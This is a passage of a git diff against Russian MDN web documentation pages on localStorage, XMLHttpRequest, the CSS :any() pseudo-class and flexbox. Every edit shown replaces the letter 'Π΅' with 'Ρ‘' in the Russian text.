-<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Ρ€Π΅ΠΆΠΈΠΌ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра, создаСтся Π½ΠΎΠ²ΠΎΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠ½ΠΎ пустоС. ПослС Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ очищаСтся.</div>
+<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Ρ€Π΅ΠΆΠΈΠΌ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра, создаётся Π½ΠΎΠ²ΠΎΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠ½ΠΎ пустоС. ПослС Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ очищаСтся.</div>
<pre class="brush:js" style="font-size: 14px;">// БохраняСт Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ local store
localStorage.setItem("username", "John");
-// Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Ρ€Π°Π½Π΅Π΅ сохранСнныС Π΄Π°Π½Π½Ρ‹Π΅
+// Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Ρ€Π°Π½Π΅Π΅ сохранённыС Π΄Π°Π½Π½Ρ‹Π΅
alert( "username = " + localStorage.getItem("username"));</pre>
-<p class="note"><code>localStorage</code>'s позволяСт постоянно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ счСтчики посСщСния страницы, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="http://codepen.io/awesom3/pen/Hlfma">this tutorial on Codepen</a>.</p>
+<p class="note"><code>localStorage</code>'s позволяСт постоянно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ счётчики посСщСния страницы, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="http://codepen.io/awesom3/pen/Hlfma">this tutorial on Codepen</a>.</p>
<h4 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ" style="line-height: 18px; font-size: 1.28571428571429rem;">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</h4>
diff --git a/files/ru/conflicting/web/api/xmlhttprequest/index.html b/files/ru/conflicting/web/api/xmlhttprequest/index.html
index 89d75358b5..58c663042d 100644
--- a/files/ru/conflicting/web/api/xmlhttprequest/index.html
+++ b/files/ru/conflicting/web/api/xmlhttprequest/index.html
@@ -6,7 +6,7 @@ tags:
- XMLHttpRequest
original_slug: XMLHttpRequest
---
-<p><code>XMLHttpRequest</code> — это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, созданный Microsoft ΠΈ Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Mozilla. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для простой ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· HTTP. НСсмотря Π½Π° своС Π½Π°Π·Π²Π°Π½ΠΈΠ΅,Β ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для XML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π½ΠΎ ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для <a href="/ru/JSON" title="ru/JSON">JSON</a>.</p>
+<p><code>XMLHttpRequest</code> — это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, созданный Microsoft ΠΈ Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Mozilla. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для простой ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· HTTP. НСсмотря Π½Π° своё Π½Π°Π·Π²Π°Π½ΠΈΠ΅,Β ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для XML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π½ΠΎ ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для <a href="/ru/JSON" title="ru/JSON">JSON</a>.</p>
<p>ΠžΡΡ‚Π°Π²ΡˆΠ°ΡΡΡ Ρ‡Π°ΡΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΡƒΡŽ для <a href="/ru/Gecko" title="ru/Gecko">Gecko</a> ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ дополнСния.</p>
@@ -16,7 +16,7 @@ original_slug: XMLHttpRequest
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>XMLHttpRequest</code> ΠΎΡ‡Π΅Π½ΡŒ просто. Π’Ρ‹ создаётС экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚Π΅ URL ΠΈ отправляСтС запрос. Бтатус HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π°,Β Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, доступны Π² свойствах ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° запроса.</p>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ВСрсии Firefox Π΄ΠΎ вСрсии 3 постоянно ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ запрос, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ UTF-8. ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΡ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Firefox 3 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π² <code>data.inputEncoding</code> (Π³Π΄Π΅ <code>data β€”Β </code>Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² <code>send()</code>). Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ UTF-8.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ВСрсии Firefox Π΄ΠΎ вСрсии 3 постоянно ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ запрос, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ UTF-8. ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΡ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Firefox 3 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π² <code>data.inputEncoding</code> (Π³Π΄Π΅ <code>data β€”Β </code>Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² <code>send()</code>). Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ UTF-8.</div>
<h4 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h4>
@@ -98,7 +98,7 @@ req.send(null);
<h4 id="responseXML" name="responseXML">responseXML</h4>
-<p>Если Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ <a href="/ru/XML" title="ru/XML">XML</a> Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ свойство <code>responseXML</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² Π²ΠΈΠ΄Π΅ <code>XmlDocument</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DOM ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Если сСрвСр отправляСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированныС XML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π½ΠΎ Π½Π΅ устанавливаСт Content-Type Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для Π½Π΅Π³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code><a href="/ru/XMLHttpRequest#overrideMimeType.28.29" title="ru/XMLHttpRequest#overrideMimeType.28.29">overrideMimeType()</a></code> для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠ°ΠΊ XML. Если сСрвСр Π½Π΅ отправляСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° XML, <code>responseXML</code> Π²Π΅Ρ€Π½Π΅Ρ‚ null нСзависимо ΠΎΡ‚ Π»ΡŽΠ±Ρ‹Ρ… пСрСзаписСй Content-Type Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°.</p>
+<p>Если Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ <a href="/ru/XML" title="ru/XML">XML</a> Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ свойство <code>responseXML</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² Π²ΠΈΠ΄Π΅ <code>XmlDocument</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DOM ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Если сСрвСр отправляСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированныС XML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π½ΠΎ Π½Π΅ устанавливаСт Content-Type Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для Π½Π΅Π³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code><a href="/ru/XMLHttpRequest#overrideMimeType.28.29" title="ru/XMLHttpRequest#overrideMimeType.28.29">overrideMimeType()</a></code> для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠ°ΠΊ XML. Если сСрвСр Π½Π΅ отправляСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° XML, <code>responseXML</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ null нСзависимо ΠΎΡ‚ Π»ΡŽΠ±Ρ‹Ρ… пСрСзаписСй Content-Type Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°.</p>
<h4 id="overrideMimeType.28.29" name="overrideMimeType.28.29">overrideMimeType()</h4>
@@ -146,7 +146,7 @@ req.abort();
<h4 id="mozBackgroundRequest" name="mozBackgroundRequest">mozBackgroundRequest</h4>
-<p>Π­Ρ‚ΠΎ свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Ρ€Π΅Ρ‡ΡŒ ΠΎΡ‚ всплытия Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ² сСртификации Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос. Π’Π°ΠΊΠΆΠ΅ запрос Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π΅Π³ΠΎ ΠΎΠΊΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚. Π­Ρ‚ΠΎ свойство Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΊΠΎΠ΄Π° chrome. {{ Fx_minversion_inline(3) }}</p>
+<p>Π­Ρ‚ΠΎ свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Ρ€Π΅Ρ‡ΡŒ ΠΎΡ‚ всплытия Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ² сСртификации Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос. Π’Π°ΠΊΠΆΠ΅ запрос Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½ ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π΅Π³ΠΎ ΠΎΠΊΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚. Π­Ρ‚ΠΎ свойство Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΊΠΎΠ΄Π° chrome. {{ Fx_minversion_inline(3) }}</p>
<pre>var req = new XMLHttpRequest();
req.mozBackgroundRequest = true;
diff --git a/files/ru/conflicting/web/css/_colon_is/index.html b/files/ru/conflicting/web/css/_colon_is/index.html
index 72f71c9556..c771129bd5 100644
--- a/files/ru/conflicting/web/css/_colon_is/index.html
+++ b/files/ru/conflicting/web/css/_colon_is/index.html
@@ -15,9 +15,9 @@ original_slug: Web/CSS/:any
<h2 id="Summary" name="Summary">ОписаниС</h2>
-<p><a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="CSS/Pseudo-classes">ПсСвдокласс</a>Β <code>:any()</code>Β Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ быстрого конструирования Π½Π°Π±ΠΎΡ€ΠΎΠ² похоТих сСлСкторов ΠΏΡƒΡ‚Π΅ΠΌ составлСния Π³Ρ€ΡƒΠΏΠΏ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· входящих элСмСнтов Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ с элСмСнтами ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Π³Ρ€ΡƒΠΏΠΏ.Β Π­Ρ‚ΠΎ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°Β Π΄Π»Ρ прописывания комбинаций сСлСкторов для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ находится Π² Ρ€Π°Π·Π½Ρ‹Ρ… родитСлях.</p>
+<p><a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="CSS/Pseudo-classes">ПсСвдокласс</a>Β <code>:any()</code>Β Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ быстрого конструирования Π½Π°Π±ΠΎΡ€ΠΎΠ² похоТих сСлСкторов ΠΏΡƒΡ‚Ρ‘ΠΌ составлСния Π³Ρ€ΡƒΠΏΠΏ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· входящих элСмСнтов Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ с элСмСнтами ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Π³Ρ€ΡƒΠΏΠΏ.Β Π­Ρ‚ΠΎ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°Β Π΄Π»Ρ прописывания комбинаций сСлСкторов для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ находится Π² Ρ€Π°Π·Π½Ρ‹Ρ… родитСлях.</p>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Π­Ρ‚ΠΎΡ‚ псСвдокласс всС Π΅Ρ‰Π΅ находится Π² процСссС стандартизации Π²Β <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches" title="http://dev.w3.org/csswg/selectors4/#matches"><em>CSS сСлСкторах уровня 4</em></a> ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>:matches()</code>. Π’ΠΏΠΎΠ»Π½Π΅ вСроятно, Ρ‡Ρ‚ΠΎ синтаксис ΠΈ имя <code>:-<em>vendor</em>-any()Β </code>Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ спСцификации.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Π­Ρ‚ΠΎΡ‚ псСвдокласс всС Π΅Ρ‰Ρ‘ находится Π² процСссС стандартизации Π²Β <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches" title="http://dev.w3.org/csswg/selectors4/#matches"><em>CSS сСлСкторах уровня 4</em></a> ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>:matches()</code>. Π’ΠΏΠΎΠ»Π½Π΅ вСроятно, Ρ‡Ρ‚ΠΎ синтаксис ΠΈ имя <code>:-<em>vendor</em>-any()Β </code>Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ спСцификации.</div>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
index ace3750eeb..a0ba127557 100644
--- a/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
+++ b/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
@@ -19,7 +19,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
<p>Для ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€ΠΎΠ² модСль использования флСксбоксов Π±ΡƒΠ΄Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ простой для примСнСния. Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π²Π½ΡƒΡ‚Ρ€ΠΈ флСксбокса ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π² любом Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌ дисплСя. ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ элСмСнтов Π² Ρ‚Π°ΠΊΠΎΠΌ случаС являСтся простым ΠΈ комплСксная Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° достигаСтся Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»Π΅Π³Ρ‡Π΅ ΠΈ с Π±ΠΎΠ»Π΅Π΅ чистым ΠΊΠΎΠ΄ΠΎΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ порядок отобраТСния элСмСнтов Π½Π΅ связан с ΠΈΡ… порядком Π² ΠΊΠΎΠ΄Π΅. Π­Ρ‚Π° Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ ΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎ касаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, оставляя порядок ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ зависимыми ΠΎΡ‚ порядка Π² исходниках.</p>
